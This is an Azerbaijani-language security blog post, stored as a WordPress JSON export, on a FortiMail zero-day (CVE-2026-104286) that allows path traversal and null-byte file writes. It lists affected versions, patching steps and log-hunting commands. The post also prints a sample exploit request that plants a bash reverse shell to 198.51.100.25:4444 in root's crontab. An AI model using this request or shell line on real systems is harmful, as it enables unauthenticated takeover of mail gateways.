{"id":11246,"date":"2026-10-04T00:02:46","date_gmt":"2026-10-04T00:02:46","guid":{"rendered":"https:\/\/bitep.net\/blog\/2026\/10\/04\/kritik-fortimail-s%c4%b1f%c4%b1r-g%c3%bcn-z%c9%99ifliyi-h%c3%bccumlarda-istismar-edilir-ixtiyari-fayl-yaz\/"},"modified":"2026-10-04T00:02:46","modified_gmt":"2026-10-04T00:02:46","slug":"kritik-fortimail-s%c4%b1f%c4%b1r-g%c3%bcn-z%c9%99ifliyi-h%c3%bccumlarda-istismar-edilir-ixtiyari-fayl-yaz","status":"publish","type":"post","link":"https:\/\/bitep.net\/blog\/2026\/10\/04\/kritik-fortimail-s%c4%b1f%c4%b1r-g%c3%bcn-z%c9%99ifliyi-h%c3%bccumlarda-istismar-edilir-ixtiyari-fayl-yaz\/","title":{"rendered":"Kritik FortiMail S\u0131f\u0131r G\u00fcn Z\u0259ifliyi H\u00fccumlarda \u0130stismar Edilir: \u0130xtiyari Fayl Yazma T\u0259hl\u00fck\u0259si"},"content":{"rendered":"<h2>Giri\u015f: T\u0259hl\u00fck\u0259nin Mahiyy\u0259ti v\u0259 CISA X\u0259b\u0259rdarl\u0131\u011f\u0131<\/h2>\n<p>M\u00fcasir korporativ \u015f\u0259b\u0259k\u0259l\u0259rin perimetr m\u00fchafiz\u0259sind\u0259 e-po\u00e7t t\u0259hl\u00fck\u0259sizlik \u015fl\u00fczl\u0259ri (Secure Email Gateway &#8211; SEG) \u0259n m\u00fch\u00fcm m\u00fcdafi\u0259 x\u0259tl\u0259rind\u0259n biridir. T\u0259hl\u00fck\u0259sizlik divarlar\u0131n\u0131n \u00f6n\u00fcnd\u0259 yerl\u0259\u015f\u0259n bu avadanl\u0131qlar kiber cinay\u0259tkarlar \u00fc\u00e7\u00fcn daim y\u00fcks\u0259k d\u0259y\u0259r\u0259 malik h\u0259d\u0259f hesab olunur. AB\u015e Kibert\u0259hl\u00fck\u0259sizlik v\u0259 \u0130nfrastruktur T\u0259hl\u00fck\u0259sizliyi Agentliyi (CISA) Fortinet FortiMail sisteml\u0259rind\u0259 a\u015fkar edilmi\u015f kritik s\u0259viyy\u0259li s\u0131f\u0131r g\u00fcn (zero-day) z\u0259ifliyini r\u0259smi olaraq M\u0259lum \u0130stismar Edil\u0259n Z\u0259iflikl\u0259r (KEV &#8211; Known Exploited Vulnerabilities) kataloquna daxil edib.<\/p>\n<p>S\u00f6z\u00fcged\u0259n z\u0259iflik <strong>CVE-2026-104286<\/strong> identifikatoru il\u0259 qeydiyyata al\u0131n\u0131b v\u0259 CVSS v3.1 \u015fkalas\u0131 \u00fczr\u0259 <strong>9.8<\/strong> (Kritik) xalla qiym\u0259tl\u0259ndirilib. Bo\u015fluq autentifikasiyadan ke\u00e7m\u0259mi\u015f uzaq m\u0259saf\u0259li t\u0259cav\u00fczkarlara h\u0259d\u0259f sistemd\u0259 ixtiyari fayllar\u0131 yazma\u011fa (unauthenticated arbitrary file write) imkan verir. H\u00fccumlar\u0131n art\u0131q real m\u00fchitd\u0259 aktiv \u015f\u0259kild\u0259 h\u0259yata ke\u00e7irildiyi t\u0259sdiql\u0259ndiyi \u00fc\u00e7\u00fcn bu insident infrastruktur administratorlar\u0131ndan t\u0259xir\u0259sal\u0131nmaz reaksiya t\u0259l\u0259b edir.<\/p>\n<h2>CVE-2026-104286 Z\u0259ifliyinin Texniki T\u0259hlili: Path Traversal v\u0259 NULL Bayt Mexanizmi<\/h2>\n<p>CVE-2026-104286 z\u0259ifliyi iki kritik t\u0259hl\u00fck\u0259sizlik \u00e7at\u0131\u015fmazl\u0131\u011f\u0131n\u0131n kombinasiyas\u0131ndan qaynaqlan\u0131r: Yol Ke\u00e7idi (Path Traversal &#8211; CWE-22) v\u0259 NULL bayt\/simvolunun natamam neytralla\u015fd\u0131r\u0131lmas\u0131 (Incomplete Neutralization of Null Byte &#8211; CWE-158). Bu birl\u0259\u015fm\u0259 proqram t\u0259minat\u0131n\u0131n daxil olan istifad\u0259\u00e7i sor\u011fular\u0131n\u0131 yet\u0259rinc\u0259 sanitizasiya etm\u0259m\u0259si s\u0259b\u0259bind\u0259n yaran\u0131r.<\/p>\n<h3>Z\u0259ifliyin \u018fsas T\u0259rkib Hiss\u0259l\u0259ri<\/h3>\n<ul>\n<li><strong>CWE-22 (Path Traversal):<\/strong> Sistem fayl yollar\u0131n\u0131 emal ed\u0259rk\u0259n <code>..\/<\/code> v\u0259 ya ox\u015far ard\u0131c\u0131ll\u0131qlar\u0131 laz\u0131mi s\u0259viyy\u0259d\u0259 filtrasiya etmir. Bu, t\u0259cav\u00fczkar\u0131n icaz\u0259 veril\u0259n qovluq \u00e7\u0259r\u00e7iv\u0259sind\u0259n k\u0259nara \u00e7\u0131xaraq \u0259m\u0259liyyat sisteminin daxili strukturlar\u0131na m\u00fcraci\u0259t etm\u0259sin\u0259 yol a\u00e7\u0131r.<\/li>\n<li><strong>CWE-158 (Null Byte Injection):<\/strong> A\u015fa\u011f\u0131 s\u0259viyy\u0259li proqramla\u015fd\u0131rma dill\u0259rind\u0259 (m\u0259s\u0259l\u0259n, C\/C++) s\u0259tir veril\u0259nl\u0259rinin sonunu bildirm\u0259k \u00fc\u00e7\u00fcn NULL bayt (<code>\\0<\/code> v\u0259 ya URL-kodla\u015fd\u0131r\u0131lm\u0131\u015f formada <code>%00<\/code>) istifad\u0259 olunur. Sistem daxil olan parametrd\u0259 bu bayt\u0131 d\u00fczg\u00fcn neytralla\u015fd\u0131rmad\u0131qda, proqram s\u0259tiri h\u0259min n\u00f6qt\u0259d\u0259 k\u0259silmi\u015f hesab edir v\u0259 sonrak\u0131 uzant\u0131 yoxlamalar\u0131n\u0131 (m\u0259s\u0259l\u0259n, <code>.tmp<\/code> v\u0259 ya <code>.log<\/code> t\u0259l\u0259bini) aldadaraq arxa planda ist\u0259nil\u0259n uzant\u0131ya malik fayl formala\u015fd\u0131r\u0131r.<\/li>\n<\/ul>\n<p>A\u015fa\u011f\u0131dak\u0131 n\u00fcmun\u0259d\u0259 z\u0259ifliyin konseptual istismar mexanizmi \u0259ks olunub:<\/p>\n<pre><code class=\"language-bash\"># Z\u0259iflik da\u015f\u0131yan endpoint-\u0259 g\u00f6nd\u0259ril\u0259n manipulyasiya edilmi\u015f HTTP sor\u011fusu\nPOST \/api\/v1\/upload HTTP\/1.1\nHost: mailgate.target-corp.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"logfile\"; filename=\"..\/..\/..\/var\/spool\/cron\/crontabs\/root%00.txt\"\nContent-Type: text\/plain\n\n* * * * * \/bin\/bash -i >& \/dev\/tcp\/198.51.100.25\/4444 0>&1\n------WebKitFormBoundary--\n<\/code><\/pre>\n<p>Bu sor\u011fu zaman\u0131 proqram t\u0259minat\u0131 fayl uzant\u0131s\u0131n\u0131 yoxlamaq ist\u0259dikd\u0259 <code>.txt<\/code> g\u00f6r\u00fcr v\u0259 \u0259m\u0259liyyat\u0131 leqal hesab edir. Lakin fayl sistemin\u0259 yaz\u0131lark\u0259n NULL bayt s\u0259b\u0259bind\u0259n fayl ad\u0131 <code>\/var\/spool\/cron\/crontabs\/root<\/code> kimi saxlan\u0131l\u0131r v\u0259 bununla da sistem s\u0259viyy\u0259sind\u0259 arxa qap\u0131 (backdoor) yerl\u0259\u015fdirilmi\u015f olur.<\/p>\n<h2>Z\u0259ifliyin \u0130stismar Riskl\u0259ri v\u0259 H\u00fccum Vektorlar\u0131<\/h2>\n<p>CVE-2026-104286 z\u0259ifliyinin t\u0259qdim etdiyi risk d\u0259r\u0259c\u0259si birba\u015fa FortiMail-in \u015f\u0259b\u0259k\u0259 arxitekturas\u0131ndak\u0131 m\u00f6vqeyi il\u0259 ba\u011fl\u0131d\u0131r. T\u0259cav\u00fczkarlar he\u00e7 bir identifikasiya m\u0259lumat\u0131na (login\/\u015fifr\u0259 v\u0259 ya sessiya tokeni) sahib olmadan uzaqdan h\u00fccum t\u0259\u015fkil ed\u0259 bilirl\u0259r.<\/p>\n<h3>\u018fsas H\u00fccum Vektorlar\u0131 v\u0259 T\u0259hl\u00fck\u0259l\u0259r<\/h3>\n<ul>\n<li><strong>Uzaqdan Kod \u0130cras\u0131 (Remote Code Execution &#8211; RCE):<\/strong> \u0130xtiyari fayl yazma z\u0259ifliyi \u0259sas\u0259n sistemd\u0259 birba\u015fa RCE il\u0259 n\u0259tic\u0259l\u0259nir. T\u0259cav\u00fczkarlar veb-interfeysin qovluqlar\u0131na veb-\u015fell (webshell) yerl\u0259\u015fdir\u0259, m\u00f6vcud icra olunan skriptl\u0259ri d\u0259yi\u015fdir\u0259 v\u0259 ya planla\u015fd\u0131r\u0131lm\u0131\u015f tap\u015f\u0131r\u0131qlara (cron jobs) z\u0259r\u0259rli \u0259mrl\u0259r \u0259lav\u0259 ed\u0259 bil\u0259rl\u0259r.<\/li>\n<li><strong>SSH A\u00e7ar Manipulyasiyas\u0131:<\/strong> Cihaz\u0131n <code>\/root\/.ssh\/authorized_keys<\/code> fayl\u0131na h\u00fccum\u00e7unun ictimai a\u00e7ar\u0131 \u0259lav\u0259 edil\u0259r\u0259k sistem\u0259 birba\u015fa root h\u00fcquqlar\u0131 il\u0259 daimi SSH \u00e7\u0131x\u0131\u015f\u0131 \u0259ld\u0259 oluna bil\u0259r.<\/li>\n<li><strong>Konfiqurasiya v\u0259 \u015eifr\u0259l\u0259rin \u018fl\u0259 Ke\u00e7irilm\u0259si:<\/strong> Sistem konfiqurasiyalar\u0131n\u0131n \u00fcz\u0259rin\u0259 yaz\u0131laraq parollar s\u0131f\u0131rlana v\u0259 ya administrator sessiyalar\u0131 o\u011furlana bil\u0259r.<\/li>\n<li><strong>Korporativ Casusluq v\u0259 Daxil\u0259 Do\u011fru Yay\u0131lma (Lateral Movement):<\/strong> FortiMail sistemi komprometasiya edildikd\u0259n sonra oradan ke\u00e7\u0259n b\u00fct\u00fcn daxili v\u0259 xarici e-po\u00e7t ax\u0131n\u0131 \u0259l\u0259 ke\u00e7iril\u0259, korporativ \u015f\u0259b\u0259k\u0259nin dig\u0259r daxili seqmentl\u0259rin\u0259 s\u0131\u00e7ray\u0131\u015f t\u0259\u015fkil oluna bil\u0259r.<\/li>\n<\/ul>\n<h2>T\u0259sir\u0259 M\u0259ruz Qalan FortiMail Versiyalar\u0131<\/h2>\n<p>Fortinet t\u0259r\u0259find\u0259n apar\u0131lan ilkin analizl\u0259r n\u0259tic\u0259sind\u0259 t\u0259hl\u00fck\u0259sizlik x\u0259tas\u0131n\u0131n FortiMail \u0259m\u0259liyyat sisteminin geni\u015f versiya diapazonuna t\u0259sir etdiyi m\u00fc\u0259yy\u0259n edilmi\u015fdir:<\/p>\n<table>\n<thead>\n<tr>\n<th>M\u0259hsul X\u0259tti<\/th>\n<th>T\u0259sir\u0259 M\u0259ruz Qalan Versiyalar<\/th>\n<th>D\u00fcz\u0259li\u015f Edilmi\u015f (T\u0259hl\u00fck\u0259siz) Versiya<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>FortiMail 7.4<\/td>\n<td>7.4.0 &#8211; 7.4.4<\/td>\n<td>7.4.5 v\u0259 daha yuxar\u0131<\/td>\n<\/tr>\n<tr>\n<td>FortiMail 7.2<\/td>\n<td>7.2.0 &#8211; 7.2.7<\/td>\n<td>7.2.8 v\u0259 daha yuxar\u0131<\/td>\n<\/tr>\n<tr>\n<td>FortiMail 7.0<\/td>\n<td>7.0.0 &#8211; 7.0.9<\/td>\n<td>7.0.10 v\u0259 daha yuxar\u0131<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>M\u00fcdafi\u0259 v\u0259 T\u0259cili T\u0259hl\u00fck\u0259sizlik T\u00f6vsiy\u0259l\u0259ri<\/h2>\n<p>Bu z\u0259ifliyin aktiv \u015f\u0259kild\u0259 istismar edildiyini n\u0259z\u0259r\u0259 alaraq, Fortinet avadanl\u0131qlar\u0131na xidm\u0259t g\u00f6st\u0259r\u0259n sistem administratorlar\u0131 v\u0259 kibert\u0259hl\u00fck\u0259sizlik komandalar\u0131 a\u015fa\u011f\u0131dak\u0131 add\u0131mlar\u0131 d\u0259rhal h\u0259yata ke\u00e7irm\u0259lidirl\u0259r:<\/p>\n<h3>1. T\u0259cili T\u0259hl\u00fck\u0259sizlik Yenil\u0259m\u0259l\u0259rinin T\u0259tbiqi<\/h3>\n<p>\u018fn etibarl\u0131 m\u00fcdafi\u0259 mexanizmi Fortinet t\u0259r\u0259find\u0259n burax\u0131lm\u0131\u015f r\u0259smi proqram t\u0259minat\u0131 yamalar\u0131n\u0131n (firmware update) t\u0259tbiq edilm\u0259sidir. B\u00fct\u00fcn FortiMail instansiyalar\u0131 d\u0259rhal yuxar\u0131da qeyd olunan t\u0259hl\u00fck\u0259siz versiyalara y\u00fcks\u0259ldilm\u0259lidir.<\/p>\n<h3>2. \u015e\u0259b\u0259k\u0259 S\u0259viyy\u0259sind\u0259 M\u0259hdudla\u015fd\u0131rma v\u0259 Seqmentasiya<\/h3>\n<p>Yenil\u0259m\u0259 prosesi tamamlanana q\u0259d\u0259r v\u0259 ya \u0259lav\u0259 t\u0259hl\u00fck\u0259sizlik t\u0259b\u0259q\u0259si kimi a\u015fa\u011f\u0131dak\u0131 t\u0259dbirl\u0259r g\u00f6r\u00fclm\u0259lidir:<\/p>\n<ul>\n<li>FortiMail-in idar\u0259etm\u0259 interfeysinin (Web UI v\u0259 SSH) a\u00e7\u0131q internetd\u0259n birba\u015fa \u0259l\u00e7atanl\u0131\u011f\u0131 d\u0259rhal dayand\u0131r\u0131lmal\u0131d\u0131r.<\/li>\n<li>\u0130dar\u0259etm\u0259 panell\u0259rin\u0259 giri\u015f yaln\u0131z t\u0259hl\u00fck\u0259siz daxili \u015f\u0259b\u0259k\u0259l\u0259r v\u0259 ya VPN\/MFA vasit\u0259sil\u0259 ayr\u0131lm\u0131\u015f idar\u0259etm\u0259 VLAN-lar\u0131 il\u0259 m\u0259hdudla\u015fd\u0131r\u0131lmal\u0131d\u0131r.<\/li>\n<li>Web Application Firewall (WAF) arxas\u0131nda yerl\u0259\u015f\u0259n sisteml\u0259rd\u0259 <code>..%2f<\/code>, <code>%00<\/code> kimi Null Byte v\u0259 Path Traversal \u015fablonlar\u0131n\u0131 bloklayan qaydalar aktivl\u0259\u015fdirilm\u0259lidir.<\/li>\n<\/ul>\n<h3>3. \u0130nsident \u0130dar\u0259etm\u0259si v\u0259 Komprometasiya \u018flam\u0259tl\u0259rinin (IoC) Axtar\u0131\u015f\u0131<\/h3>\n<p>Cihazlar\u0131n \u0259vv\u0259lc\u0259d\u0259n yoluxdurulmad\u0131\u011f\u0131ndan \u0259min olmaq \u00fc\u00e7\u00fcn sistem jurnallar\u0131 v\u0259 fayl b\u00fct\u00f6vl\u00fcy\u00fc d\u0259rhal audit olunmal\u0131d\u0131r:<\/p>\n<pre><code class=\"language-bash\"># FortiMail CLI vasit\u0259sil\u0259 \u015f\u00fcbh\u0259li giri\u015fl\u0259ri v\u0259 sistem d\u0259yi\u015fiklikl\u0259rini yoxlamaq\ndiagnose debug crashlog read\nget system status\n\n# \u015e\u0259b\u0259k\u0259 v\u0259 log serverl\u0259rind\u0259 (Syslog\/SIEM) Null Byte v\u0259 Directory Traversal axtar\u0131\u015f\u0131\ngrep -Ei '(\\.\\.\/|\\.\\.\\\\|%2e%2e%2f|%00)' \/var\/log\/httpd\/access_log\n<\/code><\/pre>\n<p>\u018fg\u0259r fayl sistemind\u0259 g\u00f6zl\u0259nilm\u0259z skriptl\u0259r, qeyri-adi cron fayllar\u0131 v\u0259 ya nam\u0259lum administrativ istifad\u0259\u00e7i profill\u0259ri a\u015fkarlanarsa, cihaz d\u0259rhal \u015f\u0259b\u0259k\u0259d\u0259n t\u0259crid olunmal\u0131 v\u0259 tam insident ara\u015fd\u0131rmas\u0131 ba\u015flanmal\u0131d\u0131r.<\/p>\n<h2>Yekun N\u0259tic\u0259<\/h2>\n<p>CVE-2026-104286 z\u0259ifliyi \u015f\u0259b\u0259k\u0259 perimetrind\u0259 yerl\u0259\u015f\u0259n kritik qur\u011fular\u0131n m\u00fcasir t\u0259hl\u00fck\u0259 m\u00fchitind\u0259 n\u0259 d\u0259r\u0259c\u0259d\u0259 h\u0259ssas h\u0259d\u0259f oldu\u011funu bir daha g\u00f6st\u0259rir. S\u0131f\u0131r g\u00fcn statusu, autentifikasiyas\u0131z ixtiyari fayl yazma bacar\u0131\u011f\u0131 v\u0259 CISA-n\u0131n KEV kataloquna daxil edilm\u0259si bu t\u0259hl\u00fck\u0259nin miqyas\u0131n\u0131 q\u0259til\u0259\u015fdirir. T\u0259hl\u00fck\u0259sizlik insidentl\u0259rinin v\u0259 sisteml\u0259rin tam \u0259l\u0259 ke\u00e7irilm\u0259sinin qar\u015f\u0131s\u0131n\u0131 almaq \u00fc\u00e7\u00fcn t\u0259\u015fkilatlar reaktiv yana\u015fmadan proaktiv m\u00fcdafi\u0259y\u0259 ke\u00e7m\u0259li v\u0259 t\u0259xir\u0259sal\u0131nmaz yamalama prosesini icra etm\u0259lidirl\u0259r.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Giri\u015f: T\u0259hl\u00fck\u0259nin Mahiyy\u0259ti v\u0259 CISA X\u0259b\u0259rdarl\u0131\u011f\u0131 M\u00fcasir korporativ \u015f\u0259b\u0259k\u0259l\u0259rin perimetr m\u00fchafiz\u0259sind\u0259 e-po\u00e7t t\u0259hl\u00fck\u0259sizlik \u015fl\u00fczl\u0259ri (Secure Email Gateway &#8211; SEG) \u0259n m\u00fch\u00fcm m\u00fcdafi\u0259 x\u0259tl\u0259rind\u0259n biridir. T\u0259hl\u00fck\u0259sizlik divarlar\u0131n\u0131n \u00f6n\u00fcnd\u0259 yerl\u0259\u015f\u0259n bu avadanl\u0131qlar kiber cinay\u0259tkarlar \u00fc\u00e7\u00fcn daim y\u00fcks\u0259k d\u0259y\u0259r\u0259 malik h\u0259d\u0259f hesab olunur. AB\u015e Kibert\u0259hl\u00fck\u0259sizlik v\u0259 \u0130nfrastruktur T\u0259hl\u00fck\u0259sizliyi Agentliyi (CISA) Fortinet FortiMail sisteml\u0259rind\u0259 a\u015fkar edilmi\u015f kritik s\u0259viyy\u0259li s\u0131f\u0131r [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":11245,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-11246","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/bitep.net\/blog\/wp-content\/uploads\/2026\/10\/fortimail-zero-day-1791072161217.jpg","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/posts\/11246","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/comments?post=11246"}],"version-history":[{"count":0,"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/posts\/11246\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/media\/11245"}],"wp:attachment":[{"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/media?parent=11246"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/categories?post=11246"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bitep.net\/blog\/wp-json\/wp\/v2\/tags?post=11246"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}